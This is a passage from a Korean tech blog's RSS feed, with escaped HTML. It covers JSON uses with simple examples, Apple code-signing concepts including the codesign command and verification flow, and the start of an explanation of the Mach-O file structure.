&lt;li&gt;&lt;b&gt;마지막 항목 뒤에 쉼표(,) 사용 금지&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;데이터 타입은 문자열, 숫자, 불리언, null, 객체, 배열만 사용 가능&lt;/b&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-style=&quot;style6&quot; data-ke-type=&quot;horizontalRule&quot; /&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;JSON 파일 확장자&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적으로 파일 확장자는&lt;span&gt;&amp;nbsp;&lt;/span&gt;.json을 사용&lt;/li&gt;
&lt;li&gt;특정 프로그램에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;.txt&lt;span&gt;&amp;nbsp;&lt;/span&gt;같은 확장자를 사용하더라도&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;내용이 JSON 형식이면&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;처리에 문제 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;JSON 파일의 활용 방안&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JSON(JavaScript Object Notation)은 현재 거의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;모든 IT 분야&lt;/b&gt;에서 사용된다고 해도 과언이 아닐 만큼 널리 활용됩니다. 특히&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;데이터 교환&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;구성 파일&lt;/b&gt;,&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;API 통신&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;등에서 중요한 역할을 합니다.&lt;/p&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%; height: 136px;&quot; border=&quot;1&quot; data-ke-style=&quot;style12&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center;&quot;&gt;분야&lt;/td&gt;
&lt;td style=&quot;background-color: #9b9b9b; color: #ffffff; text-align: center;&quot;&gt;사용 목적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;웹 API&lt;/td&gt;
&lt;td&gt;데이터 송수신&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;앱 설정&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;구성 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;DB 저장&lt;/td&gt;
&lt;td&gt;NoSQL 문서 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;테스트 자동화&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;입력/출력 케이스 명세&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;프론트엔드&lt;/td&gt;
&lt;td&gt;JS 객체와 직결되는 구조로 사용 용이&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;머신러닝&lt;/td&gt;
&lt;td style=&quot;background-color: #f9f9f9;&quot;&gt;학습 데이터, 예측 결과 저장&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;background-color: #efefef;&quot;&gt;클라우드/DevOps&lt;/td&gt;
&lt;td&gt;정책, 리소스 정의 파일&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;아래는 JSON 형식이 많이 사용되는 분야와 활용 예시입니다:&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;웹 API (RESTful API) 통신&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서버와 클라이언트가 데이터를 주고받을 때 JSON을 주된 형식으로 사용&lt;/li&gt;
&lt;li&gt;간결하고 사람이 읽기 쉬워 디버깅과 유지보수가 용이&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;pgsql&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;GET /api/user/1001 응답
{
  &quot;id&quot;: 1001,
  &quot;name&quot;: &quot;Alice&quot;,
  &quot;email&quot;: &quot;alice@example.com&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;설정 파일 (Configuration File)&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;많은 소프트웨어가 설정을 JSON 파일로 저장&lt;/li&gt;
&lt;li&gt;.json,&lt;span&gt;&amp;nbsp;&lt;/span&gt;.config,&lt;span&gt;&amp;nbsp;&lt;/span&gt;.babelrc,&lt;span&gt;&amp;nbsp;&lt;/span&gt;package.json&lt;span&gt;&amp;nbsp;&lt;/span&gt;등&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;debug&quot;: true,
  &quot;port&quot;: 8080,
  &quot;logLevel&quot;: &quot;info&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;데이터 저장 및 전송 포맷&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;가볍고 구조화된 형식이어서 로그 파일, 캐시, 임시 저장소 등에 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;timestamp&quot;: &quot;2025-04-24T10:00:00Z&quot;,
  &quot;event&quot;: &quot;login_success&quot;,
  &quot;userId&quot;: &quot;chanhui&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;4.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;프론트엔드와 백엔드 간 데이터 교환&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;JavaScript와 자연스럽게 호환되므로 프론트엔드 개발에서 특히 많이 사용됨&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;: React에서 API 호출 후 응답 처리&lt;/p&gt;
&lt;pre class=&quot;javascript&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;fetch('/api/data')
  .then(response =&amp;gt; response.json())
  .then(data =&amp;gt; console.log(data));
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;5.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;테스트 케이스 및 데이터 모킹&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;자동화 테스트를 위해 입력값, 예상 출력값을 JSON으로 저장&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;input&quot;: [1, 2],
  &quot;expected_output&quot;: 3
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;6.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;머신러닝 및 AI 학습 데이터&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;라벨링된 데이터셋, 모델 결과 저장 등에도 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;image&quot;: &quot;dog01.jpg&quot;,
  &quot;label&quot;: &quot;dog&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;7.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;NoSQL 데이터베이스&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;MongoDB, CouchDB 등은 내부적으로 JSON 또는 BSON(JSON의 이진 표현)을 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;예시 (MongoDB document)&lt;/b&gt;:&lt;/p&gt;
&lt;pre class=&quot;json&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;{
  &quot;_id&quot;: &quot;abc123&quot;,
  &quot;username&quot;: &quot;parkchan&quot;,
  &quot;roles&quot;: [&quot;admin&quot;, &quot;user&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;8.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;클라우드 및 DevOps&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;AWS, GCP, Azure 등의 리소스 정의, 정책, 응답 형식 등에 JSON 사용&lt;/li&gt;
&lt;li&gt;Terraform, Kubernetes 설정에도 JSON을 선택적으로 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>기타</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/16</guid>
      <comments>https://defcon.tistory.com/16#entry16comment</comments>
      <pubDate>Sat, 26 Apr 2025 12:20:35 +0900</pubDate>
    </item>
    <item>
      <title>Apple 코드사인(CodeSign) 개념</title>
      <link>https://defcon.tistory.com/15</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Apple의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;코드사인(Code Signing)&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;메커니즘은 macOS, iOS 등 Apple 플랫폼에서 실행 파일(앱, 프레임워크, dylib 등)의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;무결성, 인증, 신뢰성&lt;/b&gt;을 보장하기 위한 보안 기술입니다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;Apple 코드사인 메커니즘 개요&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;목적&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;코드가&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;수정되지 않았음&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(무결성 확인)&lt;/li&gt;
&lt;li&gt;코드의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;출처가 신뢰할 수 있음&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(인증)&lt;/li&gt;
&lt;li&gt;시스템이 해당 코드를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;허용해도 되는지 판단&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;(신뢰성 검증)&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;코드사인의 구성요소&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Apple의 코드서명은 Mach-O 파일 내부와 함께&lt;span&gt;&amp;nbsp;&lt;/span&gt;.app&lt;span&gt;&amp;nbsp;&lt;/span&gt;번들 외부에도 정보가 포함됩니다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Code Signature (서명 블록)&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;Mach-O 파일 끝에 추가되는 구조체이며, 아래 정보 포함:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CodeDirectory: 해시 테이블 및 서명 메타데이터&lt;/li&gt;
&lt;li&gt;CMS Signature: 실제 서명 (X.509 인증서 기반 CMS 구조)&lt;/li&gt;
&lt;li&gt;Entitlements: 앱 권한 (예: 앱이 카메라 접근 가능한지 등)&lt;/li&gt;
&lt;li&gt;Requirements: 실행 정책 요구사항 (예: Team ID 매칭)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;X.509 인증서 체인&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;인증서에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Apple Developer ID&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;또는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Apple 공인 서명자&lt;/b&gt;가 포함되어야 함.&lt;/li&gt;
&lt;li&gt;이 인증서는&lt;span&gt;&amp;nbsp;&lt;/span&gt;codesign&lt;span&gt;&amp;nbsp;&lt;/span&gt;명령어로 서명할 때 같이 포함됨.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Mach-O 내 서명 데이터 위치&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;__LINKEDIT&lt;span&gt;&amp;nbsp;&lt;/span&gt;세그먼트의 마지막에 서명 정보가 추가됨.&lt;/li&gt;
&lt;li&gt;otool로 보면:&lt;/li&gt;
&lt;li&gt;LC_CODE_SIGNATURE dataoff = &amp;lt;offset&amp;gt; datasize = &amp;lt;size&amp;gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;코드사인의 동작 원리&lt;/h2&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;1.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;앱/라이브러리 서명&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;개발자는 다음 명령어로 Mach-O 파일을 서명합니다:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot; style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;code&gt;codesign -s &quot;Developer ID Application: Your Name (TEAMID)&quot; binary_or_app
&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이 과정에서:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;바이너리의 각 섹션을 해시 &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;CodeDirectory&lt;span&gt;&amp;nbsp;&lt;/span&gt;생성&lt;/li&gt;
&lt;li&gt;CodeDirectory에 대해 CMS 서명 수행&lt;/li&gt;
&lt;li&gt;전체 서명 구조를 Mach-O 파일의 끝에 삽입&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;2.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;앱 실행 시 검증 흐름&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시스템 또는 커널에서 다음을 확인:&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;서명이 존재하는지 (LC_CODE_SIGNATURE&lt;span&gt;&amp;nbsp;&lt;/span&gt;확인)&lt;/li&gt;
&lt;li&gt;CodeDirectory의 해시가 CMS 서명에 포함된 인증서로 검증되는지&lt;/li&gt;
&lt;li&gt;실행 중인 Mach-O 바이너리의 섹션들이&lt;span&gt;&amp;nbsp;&lt;/span&gt;CodeDirectory에 정의된 해시와 일치하는지&lt;/li&gt;
&lt;li&gt;Entitlements,&lt;span&gt;&amp;nbsp;&lt;/span&gt;Requirements&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 정책 조건 충족 여부 확인&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;3.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;System Integrity Protection (SIP), Gatekeeper와 연계&lt;/b&gt;&lt;/h3&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;macOS의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;Gatekeeper&lt;/b&gt;는 App Store 외부에서 실행되는 앱의 서명을 강제 확인&lt;/li&gt;
&lt;li&gt;&lt;b&gt;SIP&lt;/b&gt;는 시스템 영역의 바이너리 수정 자체를 방지&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;코드 무결성 검증 방식&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Mach-O의 특정 영역만 서명에 포함됩니다:
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일반적으로&lt;span&gt;&amp;nbsp;&lt;/span&gt;__TEXT,&lt;span&gt;&amp;nbsp;&lt;/span&gt;__DATA&lt;span&gt;&amp;nbsp;&lt;/span&gt;등의 실제 코드/데이터 영역&lt;/li&gt;
&lt;li&gt;서명 자체가 들어간&lt;span&gt;&amp;nbsp;&lt;/span&gt;__LINKEDIT는 제외됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;따라서 서명 이후&lt;span&gt;&amp;nbsp;&lt;/span&gt;__TEXT가 바뀌면 무조건 서명 검증 실패&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;애플 코드사인이 깨지는 조건&lt;/span&gt;&lt;/h2&gt;
&lt;table style=&quot;color: #000000; text-align: start; border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-end=&quot;2061&quot; data-start=&quot;1799&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;원인&lt;/td&gt;
&lt;td&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1874&quot; data-start=&quot;1827&quot;&gt;
&lt;td data-end=&quot;1840&quot; data-start=&quot;1827&quot;&gt;바이너리 섹션 수정&lt;/td&gt;
&lt;td data-end=&quot;1874&quot; data-start=&quot;1840&quot;&gt;__TEXT,&lt;span&gt;&amp;nbsp;&lt;/span&gt;__DATA&lt;span&gt;&amp;nbsp;&lt;/span&gt;등 서명된 코드 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1910&quot; data-start=&quot;1875&quot;&gt;
&lt;td data-end=&quot;1884&quot; data-start=&quot;1875&quot;&gt;데이터 추가&lt;/td&gt;
&lt;td data-end=&quot;1910&quot; data-start=&quot;1884&quot;&gt;Mach-O 파일 끝에 HMAC 등 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1957&quot; data-start=&quot;1911&quot;&gt;
&lt;td data-end=&quot;1924&quot; data-start=&quot;1911&quot;&gt;서명된 리소스 변경&lt;/td&gt;
&lt;td data-end=&quot;1957&quot; data-start=&quot;1924&quot;&gt;Info.plist, entitlements 등 수정&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;1985&quot; data-start=&quot;1958&quot;&gt;
&lt;td data-end=&quot;1967&quot; data-start=&quot;1958&quot;&gt;인증서 문제&lt;/td&gt;
&lt;td data-end=&quot;1985&quot; data-start=&quot;1967&quot;&gt;만료/철회된 개발자 인증서&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2022&quot; data-start=&quot;1986&quot;&gt;
&lt;td data-end=&quot;1997&quot; data-start=&quot;1986&quot;&gt;번들 구조 변경&lt;/td&gt;
&lt;td data-end=&quot;2022&quot; data-start=&quot;1997&quot;&gt;.app&lt;span&gt;&amp;nbsp;&lt;/span&gt;내부 파일 추가/삭제/이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr data-end=&quot;2061&quot; data-start=&quot;2023&quot;&gt;
&lt;td data-end=&quot;2037&quot; data-start=&quot;2023&quot;&gt;dylib 로딩 오류&lt;/td&gt;
&lt;td data-end=&quot;2061&quot; data-start=&quot;2037&quot;&gt;dylib 위치, 서명, 무결성 문제&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Programming/IOS, macOS, Android</category>
      <category>apple</category>
      <category>codesign</category>
      <category>iOS앱</category>
      <category>아이폰앱</category>
      <category>애플</category>
      <category>앱보안</category>
      <category>코드사인</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/15</guid>
      <comments>https://defcon.tistory.com/15#entry15comment</comments>
      <pubDate>Thu, 24 Apr 2025 18:14:04 +0900</pubDate>
    </item>
    <item>
      <title>apple IOS macOS의 Mach-O 파일 구조 개념</title>
      <link>https://defcon.tistory.com/14</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;Mach-O(Mach Object) 파일 포맷은 macOS, iOS 등 Apple 운영체제에서 사용되는 실행 파일, 라이브러리(.dylib), 커널 모듈 등 바이너리의 파일 포맷입니다. ELF(Linux)나 PE(Windows)와 같은 목적을 가지며,&amp;nbsp;&lt;b&gt;모듈화된 구조와 다양한 아키텍처 지원&lt;/b&gt;을 위해 설계되었습니다.&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Mach-O 파일의 기본 구조&lt;/h2&gt;
&lt;pre id=&quot;code_1745427670192&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;+----------------------+
| Mach Header          | &amp;larr; 파일 시작
+----------------------+
| Load Commands        |
+----------------------+
| Segment &amp;amp; Section    | &amp;larr; 실제 바이너리 코드 및 데이터
|   (__TEXT, __DATA 등)|
+----------------------+
| Symbol Table (선택) |
+----------------------+
| String Table (선택) |
+----------------------+&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;1. &amp;nbsp;Mach Header&lt;/h2&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;파일의&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;기본 정보&lt;/b&gt;를 담고 있습니다. 예:&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;CPU 아키텍처 (x86_64, arm64 등)&lt;/li&gt;
&lt;li&gt;파일 타입 (실행파일, dylib, bundle 등)&lt;/li&gt;
&lt;li&gt;load command 개수&lt;/li&gt;
&lt;li&gt;32bit / 64bit 여부&lt;/li&gt;
